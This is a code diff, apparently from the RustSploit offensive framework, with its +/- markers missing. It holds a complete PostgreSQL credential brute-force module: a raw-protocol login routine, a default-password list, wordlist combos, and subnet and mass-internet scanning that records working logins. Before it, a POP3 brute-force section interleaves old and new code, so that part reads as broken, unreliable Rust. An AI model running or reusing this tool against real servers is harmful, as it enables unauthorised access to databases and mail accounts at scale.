||||
}
|
||||
}));
|
||||
|
||||
// Drain finished tasks to keep memory low
|
||||
while let std::task::Poll::Ready(Some(_)) = futures::future::poll_fn(|cx| std::task::Poll::Ready(tasks.poll_next_unpin(cx))).await {
|
||||
// Just drain
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for remaining
|
||||
while let Some(_) = tasks.next().await {}
|
||||
|
||||
stop_signal.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
stats.print_final().await;
|
||||
|
||||
// Save results
|
||||
let found = found_creds.lock().await;
|
||||
if !found.is_empty() {
|
||||
if let Ok(mut file) = std::fs::OpenOptions::new().create(true).append(true).open(&config.output_file) {
|
||||
for (u, p) in found.iter() {
|
||||
let _ = writeln!(file, "{}:{}", u, p);
|
||||
}
|
||||
println!("[+] Results saved to {}", config.output_file);
|
||||
}
|
||||
}
|
||||
result.print_found();
|
||||
result.save_to_file(&output_file)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn count_lines(path: &str) -> Result<usize> {
|
||||
let file = std::fs::File::open(path)?;
|
||||
let reader = std::io::BufReader::new(file);
|
||||
use std::io::BufRead;
|
||||
Ok(reader.lines().count())
|
||||
}
|
||||
/// POP3 login result: Ok(true) = authenticated, Ok(false) = auth rejected, Err = classified error.
|
||||
/// Shared POP3 authentication logic for both SSL and plain connections.
|
||||
fn pop3_authenticate(stream: &mut (impl std::io::Read + std::io::Write), user: &str, pass: &str) -> std::result::Result<bool, Pop3Error> {
|
||||
let mut buffer = [0; 1024];
|
||||
// Read banner
|
||||
stream.read(&mut buffer).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
|
||||
// Blocking login attempt
|
||||
fn attempt_pop3_login(config: &Pop3BruteforceConfig, user: &str, pass: &str) -> Result<bool> {
|
||||
let addr = format!("{}:{}", config.target, config.port);
|
||||
let timeout = Duration::from_secs(config.connection_timeout);
|
||||
|
||||
if config.use_ssl {
|
||||
let connector = TlsConnector::new()?;
|
||||
// Resolve first to apply timeout to connect
|
||||
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
|
||||
let stream = TcpStream::connect_timeout(&socket_addr, timeout)?;
|
||||
stream.set_read_timeout(Some(timeout))?;
|
||||
stream.set_write_timeout(Some(timeout))?;
|
||||
|
||||
let mut stream = connector.connect(&config.target, stream)?;
|
||||
|
||||
// Read banner
|
||||
let mut buffer = [0; 1024];
|
||||
stream.read(&mut buffer)?; // +OK ...
|
||||
|
||||
stream.write_all(format!("USER {}\r\n", user).as_bytes())?;
|
||||
let n = stream.read(&mut buffer)?;
|
||||
if !String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
stream.write_all(format!("PASS {}\r\n", pass).as_bytes())?;
|
||||
let n = stream.read(&mut buffer)?;
|
||||
if String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
|
||||
stream.write_all(b"QUIT\r\n").ok();
|
||||
return Ok(true);
|
||||
}
|
||||
} else {
|
||||
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
|
||||
let mut stream = TcpStream::connect_timeout(&socket_addr, timeout)?;
|
||||
stream.set_read_timeout(Some(timeout))?;
|
||||
stream.set_write_timeout(Some(timeout))?;
|
||||
|
||||
// Read banner
|
||||
let mut buffer = [0; 1024];
|
||||
stream.read(&mut buffer)?;
|
||||
|
||||
stream.write_all(format!("USER {}\r\n", user).as_bytes())?;
|
||||
let n = stream.read(&mut buffer)?;
|
||||
if !String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
stream.write_all(format!("PASS {}\r\n", pass).as_bytes())?;
|
||||
let n = stream.read(&mut buffer)?;
|
||||
if String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
|
||||
stream.write_all(b"QUIT\r\n").ok();
|
||||
return Ok(true);
|
||||
}
|
||||
// Send USER
|
||||
stream.write_all(format!("USER {}\r\n", user).as_bytes())
|
||||
.map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
let n = stream.read(&mut buffer).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
if !String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
|
||||
// Send PASS
|
||||
stream.write_all(format!("PASS {}\r\n", pass).as_bytes())
|
||||
.map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
let n = stream.read(&mut buffer).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
if String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
|
||||
if let Err(e) = stream.write_all(b"QUIT\r\n") { crate::meprintln!("[!] POP3 QUIT write error: {}", e); }
|
||||
if let Err(e) = stream.flush() { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
fn attempt_pop3_login(target: &str, port: u16, user: &str, pass: &str, use_ssl: bool, timeout_secs: u64) -> std::result::Result<bool, Pop3Error> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
|
||||
.map_err(|e| Pop3Error::from_anyhow(e.into()))?
|
||||
.next()
|
||||
.ok_or_else(|| Pop3Error { error_type: Pop3ErrorType::ConnectionRefused, message: "Resolution failed".to_string() })?;
|
||||
let stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
|
||||
.map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
if let Err(e) = stream.set_nodelay(true) { crate::meprintln!("[!] Socket option error: {}", e); }
|
||||
stream.set_read_timeout(Some(timeout)).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
stream.set_write_timeout(Some(timeout)).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
|
||||
if use_ssl {
|
||||
let connector = TlsConnector::new().map_err(|e| Pop3Error {
|
||||
error_type: Pop3ErrorType::TlsError,
|
||||
message: e.to_string(),
|
||||
})?;
|
||||
let mut tls_stream = connector.connect(target, stream).map_err(|e| Pop3Error {
|
||||
error_type: Pop3ErrorType::TlsError,
|
||||
message: e.to_string(),
|
||||
})?;
|
||||
pop3_authenticate(&mut tls_stream, user, pass)
|
||||
} else {
|
||||
let mut plain_stream = stream;
|
||||
pop3_authenticate(&mut plain_stream, user, pass)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,714 @@
|
||||
//! PostgreSQL Brute Force Module
|
||||
//!
|
||||
//! Raw TCP wire-protocol implementation of PostgreSQL v3 authentication.
|
||||
//! Supports cleartext and MD5 password auth methods.
|
||||
//!
|
||||
//! Protocol flow:
|
||||
//! 1. Send StartupMessage (protocol 3.0, user, database)
|
||||
//! 2. Read Authentication request:
|
||||
//! - Type 0: AuthenticationOk (no password needed)
|
||||
//! - Type 3: CleartextPassword -> send PasswordMessage(password)
|
||||
//! - Type 5: MD5Password + 4-byte salt -> send "md5" + MD5(MD5(password+user) + salt)
|
||||
//! 3. Read response: 'R' type 0 = success, 'E' = error
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
// md5 crate 0.8 uses md5::compute(), not the Digest trait
|
||||
use std::io::Write;
|
||||
use std::net::IpAddr;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
|
||||
use crate::utils::{
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file,
|
||||
cfg_prompt_port, cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
// Constants
|
||||
// ============================================================================
|
||||
|
||||
const DEFAULT_PG_PORT: u16 = 5432;
|
||||
const CONNECT_TIMEOUT_MS: u64 = 5000;
|
||||
const READ_TIMEOUT_MS: u64 = 5000;
|
||||
const DEFAULT_DATABASE: &str = "postgres";
|
||||
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("postgres", "postgres"),
|
||||
("postgres", ""),
|
||||
("postgres", "password"),
|
||||
("postgres", "123456"),
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("root", "root"),
|
||||
("pgsql", "pgsql"),
|
||||
];
|
||||
|
||||
// ============================================================================
|
||||
// Module Info
|
||||
// ============================================================================
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "PostgreSQL Brute Force".to_string(),
|
||||
description: "Brute-force PostgreSQL authentication over raw TCP using protocol v3. \
|
||||
Supports cleartext and MD5 password auth methods. Includes default credential \
|
||||
testing, wordlist combo mode, subnet scanning, and mass scan."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://www.postgresql.org/docs/current/protocol-flow.html".to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Main Entry Point
|
||||
// ============================================================================
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!("{}", "=== PostgreSQL Brute Force Module ===".bold());
|
||||
crate::mprintln!("[*] Target: {}", target);
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Target: {} -- Mass Scan Mode", target).yellow()
|
||||
);
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "PostgreSQL",
|
||||
default_port: DEFAULT_PG_PORT,
|
||||
state_file: "postgres_brute_hose_state.log",
|
||||
default_output: "postgres_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
move |ip, port| async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(5)).await {
|
||||
return None;
|
||||
}
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let creds = [
|
||||
("postgres", "postgres"),
|
||||
("postgres", ""),
|
||||
("postgres", "password"),
|
||||
("admin", "admin"),
|
||||
];
|
||||
for (user, pass) in creds {
|
||||
match try_pg_auth(&addr, user, pass, DEFAULT_DATABASE).await {
|
||||
PgResult::Success => {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
return Some(format!("[{}] {}:{}:{}:{}\n", ts, ip, port, user, pass));
|
||||
}
|
||||
PgResult::ConnectionError(_) => return None,
|
||||
PgResult::AuthFailed | PgResult::ProtocolError(_) => {}
|
||||
}
|
||||
}
|
||||
None
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Target: {} (Subnet Scan)", target).cyan()
|
||||
);
|
||||
|
||||
let port: u16 = cfg_prompt_port("port", "PostgreSQL Port", DEFAULT_PG_PORT).await?;
|
||||
let database =
|
||||
cfg_prompt_default("database", "Target database", DEFAULT_DATABASE).await?;
|
||||
let usernames_file =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("User list empty"));
|
||||
}
|
||||
if passes.is_empty() {
|
||||
return Err(anyhow!("Pass list empty"));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"postgres_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
return run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users,
|
||||
passes,
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "postgresql",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/postgres_credcheck",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let db = database.clone();
|
||||
async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match try_pg_auth(&addr, &user, &pass, &db).await {
|
||||
PgResult::Success => LoginResult::Success,
|
||||
PgResult::AuthFailed => LoginResult::AuthFailed,
|
||||
PgResult::ConnectionError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: true,
|
||||
},
|
||||
PgResult::ProtocolError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let port: u16 = cfg_prompt_port("port", "PostgreSQL Port", DEFAULT_PG_PORT).await?;
|
||||
let database =
|
||||
cfg_prompt_default("database", "Target database", DEFAULT_DATABASE).await?;
|
||||
|
||||
let use_defaults =
|
||||
cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file =
|
||||
if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file =
|
||||
if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!(
|
||||
"At least one wordlist or default credentials must be enabled"
|
||||
));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(
|
||||
cfg_prompt_output_file("output_file", "Output file", "postgres_brute_results.txt")
|
||||
.await?,
|
||||
)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let retry_on_error =
|
||||
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries: usize = if retry_on_error {
|
||||
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
|
||||
input.parse::<usize>().unwrap_or(2).max(1).min(10)
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} usernames", usernames.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} passwords", passwords.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Added {} default credentials",
|
||||
DEFAULT_CREDENTIALS.len()
|
||||
)
|
||||
.green()
|
||||
);
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!(
|
||||
"[*] Starting PostgreSQL brute-force on {}:{} ({} combos, {} threads, db={})",
|
||||
target,
|
||||
port,
|
||||
combos.len(),
|
||||
concurrency,
|
||||
database
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let db = database.clone();
|
||||
async move {
|
||||
let addr = normalize_target(&format!("{}:{}", t, p))
|
||||
.unwrap_or_else(|_| format!("{}:{}", t, p));
|
||||
match try_pg_auth(&addr, &user, &pass, &db).await {
|
||||
PgResult::Success => LoginResult::Success,
|
||||
PgResult::AuthFailed => LoginResult::AuthFailed,
|
||||
PgResult::ConnectionError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: true,
|
||||
},
|
||||
PgResult::ProtocolError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "postgresql",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/postgres_credcheck",
|
||||
},
|
||||
combos,
|
||||
try_login,
|
||||
)
|
||||
.await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored PostgreSQL responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no(
|
||||
"save_unknown_responses",
|
||||
"Save unknown responses to file?",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
let default_name = "postgres_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
)
|
||||
.await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# PostgreSQL Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// PostgreSQL Wire Protocol Implementation
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug)]
|
||||
enum PgResult {
|
||||
Success,
|
||||
AuthFailed,
|
||||
ConnectionError(String),
|
||||
ProtocolError(String),
|
||||
}
|
||||
|
||||
/// Build a PostgreSQL StartupMessage (protocol v3.0).
|
||||
///
|
||||
/// Format: length (4 bytes, includes self) + protocol (4 bytes) + key-value pairs + terminator.
|
||||
fn build_startup_message(user: &str, database: &str) -> Vec<u8> {
|
||||
let mut params = Vec::new();
|
||||
|
||||
// user parameter
|
||||
params.extend_from_slice(b"user\0");
|
||||
params.extend_from_slice(user.as_bytes());
|
||||
params.push(0);
|
||||
|
||||
// database parameter
|
||||
params.extend_from_slice(b"database\0");
|
||||
params.extend_from_slice(database.as_bytes());
|
||||
params.push(0);
|
||||
|
||||
// client_encoding parameter
|
||||
params.extend_from_slice(b"client_encoding\0");
|
||||
params.extend_from_slice(b"UTF8\0");
|
||||
|
||||
// terminator
|
||||
params.push(0);
|
||||
|
||||
// protocol version 3.0 = 196608
|
||||
let protocol_version: u32 = 196608;
|
||||
// total length = 4 (length) + 4 (protocol) + params
|
||||
let total_len = (4 + 4 + params.len()) as u32;
|
||||
|
||||
let mut msg = Vec::with_capacity(total_len as usize);
|
||||
msg.extend_from_slice(&total_len.to_be_bytes());
|
||||
msg.extend_from_slice(&protocol_version.to_be_bytes());
|
||||
msg.extend_from_slice(¶ms);
|
||||
|
||||
msg
|
||||
}
|
||||
|
||||
/// Build a PasswordMessage for PostgreSQL.
|
||||
///
|
||||
/// Format: 'p' + length (4 bytes, includes self) + password string + null terminator.
|
||||
fn build_password_message(password: &str) -> Vec<u8> {
|
||||
let pass_bytes = password.as_bytes();
|
||||
let len = (4 + pass_bytes.len() + 1) as u32; // length includes itself + string + null
|
||||
|
||||
let mut msg = Vec::with_capacity(1 + len as usize);
|
||||
msg.push(b'p');
|
||||
msg.extend_from_slice(&len.to_be_bytes());
|
||||
msg.extend_from_slice(pass_bytes);
|
||||
msg.push(0);
|
||||
|
||||
msg
|
||||
}
|
||||
|
||||
/// Compute PostgreSQL MD5 auth response.
|
||||
///
|
||||
/// inner = md5(password + username)
|
||||
/// result = "md5" + md5(hex(inner) + salt)
|
||||
fn compute_md5_password(user: &str, password: &str, salt: &[u8; 4]) -> String {
|
||||
// inner = MD5(password + username)
|
||||
let mut inner_input = Vec::with_capacity(password.len() + user.len());
|
||||
inner_input.extend_from_slice(password.as_bytes());
|
||||
inner_input.extend_from_slice(user.as_bytes());
|
||||
let inner = md5::compute(&inner_input);
|
||||
let inner_hex = format!("{:x}", inner);
|
||||
|
||||
// outer = MD5(hex(inner) + salt)
|
||||
let mut outer_input = Vec::with_capacity(inner_hex.len() + 4);
|
||||
outer_input.extend_from_slice(inner_hex.as_bytes());
|
||||
outer_input.extend_from_slice(salt);
|
||||
let outer = md5::compute(&outer_input);
|
||||
|
||||
format!("md5{:x}", outer)
|
||||
}
|
||||
|
||||
/// Read a PostgreSQL message: 1-byte type + 4-byte length (BE, includes self) + payload.
|
||||
async fn read_pg_message(stream: &mut TcpStream) -> Result<(u8, Vec<u8>)> {
|
||||
let mut header = [0u8; 5];
|
||||
tokio::time::timeout(Duration::from_millis(READ_TIMEOUT_MS), stream.read_exact(&mut header))
|
||||
.await
|
||||
.map_err(|_| anyhow!("Timeout reading PostgreSQL message"))?
|
||||
.map_err(|e| anyhow!("Failed to read message header: {}", e))?;
|
||||
|
||||
let msg_type = header[0];
|
||||
let length = u32::from_be_bytes([header[1], header[2], header[3], header[4]]);
|
||||
|
||||
if length < 4 {
|
||||
return Err(anyhow!("Invalid message length: {}", length));
|
||||
}
|
||||
|
||||
let payload_len = (length - 4) as usize;
|
||||
if payload_len > 65_536 {
|
||||
return Err(anyhow!("PostgreSQL message too large: {} bytes", payload_len));
|
||||
}
|
||||
|
||||
let mut payload = vec![0u8; payload_len];
|
||||
if payload_len > 0 {
|
||||
tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut payload),
|
||||
)
|
||||
.await
|
||||
.map_err(|_| anyhow!("Timeout reading PostgreSQL payload"))?
|
||||
.map_err(|e| anyhow!("Failed to read payload: {}", e))?;
|
||||
}
|
||||
|
||||
Ok((msg_type, payload))
|
||||
}
|
||||
|
||||
/// Attempt PostgreSQL authentication against a target address.
|
||||
async fn try_pg_auth(addr: &str, username: &str, password: &str, database: &str) -> PgResult {
|
||||
// TCP connect with timeout
|
||||
let mut stream = match crate::utils::network::tcp_connect(addr, Duration::from_millis(CONNECT_TIMEOUT_MS)).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return PgResult::ConnectionError(format!("Connect failed: {}", e)),
|
||||
};
|
||||
|
||||
// Send StartupMessage
|
||||
let startup = build_startup_message(username, database);
|
||||
if let Err(e) = stream.write_all(&startup).await {
|
||||
return PgResult::ConnectionError(format!("Failed to send startup: {}", e));
|
||||
}
|
||||
if let Err(e) = stream.flush().await {
|
||||
return PgResult::ConnectionError(format!("Failed to flush: {}", e));
|
||||
}
|
||||
|
||||
// Read server response - may get multiple messages
|
||||
loop {
|
||||
let (msg_type, payload) = match read_pg_message(&mut stream).await {
|
||||
Ok(m) => m,
|
||||
Err(e) => {
|
||||
return PgResult::ConnectionError(format!("Failed to read response: {}", e))
|
||||
}
|
||||
};
|
||||
|
||||
match msg_type {
|
||||
b'R' => {
|
||||
// Authentication message
|
||||
if payload.len() < 4 {
|
||||
return PgResult::ProtocolError("Auth message too short".to_string());
|
||||
}
|
||||
let auth_type = u32::from_be_bytes([payload[0], payload[1], payload[2], payload[3]]);
|
||||
|
||||
match auth_type {
|
||||
0 => {
|
||||
// AuthenticationOk - success!
|
||||
return PgResult::Success;
|
||||
}
|
||||
3 => {
|
||||
// CleartextPassword requested
|
||||
let pass_msg = build_password_message(password);
|
||||
if let Err(e) = stream.write_all(&pass_msg).await {
|
||||
return PgResult::ConnectionError(format!(
|
||||
"Failed to send password: {}",
|
||||
e
|
||||
));
|
||||
}
|
||||
if let Err(e) = stream.flush().await {
|
||||
return PgResult::ConnectionError(format!("Flush error: {}", e));
|
||||
}
|
||||
// Continue loop to read the auth result
|
||||
}
|
||||
5 => {
|
||||
// MD5Password requested - extract 4-byte salt
|
||||
if payload.len() < 8 {
|
||||
return PgResult::ProtocolError(
|
||||
"MD5 auth message too short (no salt)".to_string(),
|
||||
);
|
||||
}
|
||||
let mut salt = [0u8; 4];
|
||||
salt.copy_from_slice(&payload[4..8]);
|
||||
|
||||
let md5_pass = compute_md5_password(username, password, &salt);
|
||||
let pass_msg = build_password_message(&md5_pass);
|
||||
if let Err(e) = stream.write_all(&pass_msg).await {
|
||||
return PgResult::ConnectionError(format!(
|
||||
"Failed to send MD5 password: {}",
|
||||
e
|
||||
));
|
||||
}
|
||||
if let Err(e) = stream.flush().await {
|
||||
return PgResult::ConnectionError(format!("Flush error: {}", e));
|
||||
}
|
||||
// Continue loop to read the auth result
|
||||
}
|
||||
10 => {
|
||||
// SASL authentication (SCRAM-SHA-256) -- not supported in this module
|
||||
return PgResult::ProtocolError(
|
||||
"SCRAM-SHA-256 auth not supported (use password or md5 in pg_hba.conf)"
|
||||
.to_string(),
|
||||
);
|
||||
}
|
||||
other => {
|
||||
return PgResult::ProtocolError(format!(
|
||||
"Unsupported auth type: {}",
|
||||
other
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
b'E' => {
|
||||
// ErrorResponse -- parse the message for detail
|
||||
let msg = parse_pg_error(&payload);
|
||||
if msg.contains("authentication failed")
|
||||
|| msg.contains("password authentication failed")
|
||||
|| msg.contains("no pg_hba.conf entry")
|
||||
{
|
||||
return PgResult::AuthFailed;
|
||||
}
|
||||
return PgResult::ProtocolError(msg);
|
||||
}
|
||||
b'N' => {
|
||||
// NoticeResponse -- informational, keep reading
|
||||
continue;
|
||||
}
|
||||
b'K' => {
|
||||
// BackendKeyData -- sent after successful auth, followed by ReadyForQuery
|
||||
// Continue reading to find ReadyForQuery
|
||||
continue;
|
||||
}
|
||||
b'S' => {
|
||||
// ParameterStatus -- sent after successful auth
|
||||
continue;
|
||||
}
|
||||
b'Z' => {
|
||||
// ReadyForQuery -- server is ready, auth was successful
|
||||
return PgResult::Success;
|
||||
}
|
||||
other => {
|
||||
return PgResult::ProtocolError(format!(
|
||||
"Unexpected message type: 0x{:02X} ('{}')",
|
||||
other, other as char
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
